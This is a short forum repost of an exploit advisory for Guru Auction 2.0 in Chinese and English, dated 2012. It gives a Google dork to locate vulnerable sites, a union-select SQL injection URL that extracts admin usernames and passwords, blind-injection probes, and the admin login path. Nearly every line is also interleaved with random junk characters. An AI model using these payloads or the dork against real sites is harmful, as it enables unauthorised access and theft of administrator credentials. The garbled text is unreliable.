Guru Auction 2.0 Multiple SQL Injection Vulnerabilities- W7 d* q/ @) c1 I, i! l
7 Z( v' N* d+ Q- l# c作者 : v3n0m: z z S3 s" M
应用 : Guru Auction 2.0
' Z9 B; s2 I" W% l" \Price : $49
' D) H& R" Q9 hVendor : http://www.guruscript.com/- k3 g, D: s1 W7 c
Google Dork : inurl:subcat.php?cate_id=
1 s$ {! Y& k6 {2 t% p% u
3 P$ o3 y8 U" \. |- K+ B7 k" [8 pSQLi p0c:
9 U& r( W7 G J4 G, }5 H3 o~~~~~~~~~~- v6 r& C# N. F. s/ q
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--5 S4 o3 f+ V, y3 m0 h: n) w! @4 D
7 @( N* D7 ?1 d1 ?: M) n
9 q6 a( `: r& o* T盲注 p0c:
+ ?/ b0 N4 B# t) q7 z~~~~~~~~~~( n6 Y4 l+ X( T/ h( ^' ]
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true5 g8 x! T* [; z. ]; a6 p
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false( l7 v1 p1 X1 T7 K6 L G4 p5 M/ U
* ^2 }1 _4 Y0 v; ` {
管理登录入口:
4 r1 y) d- K' |, L~~~~~~~~~~7 x K+ }* i' h* `/ M2 Y
http://domain.tld/[path]/admin/) T2 c. f- f$ i( }* _! X
|
发表于 2012-12-31 09:24:05
收藏
支持
反对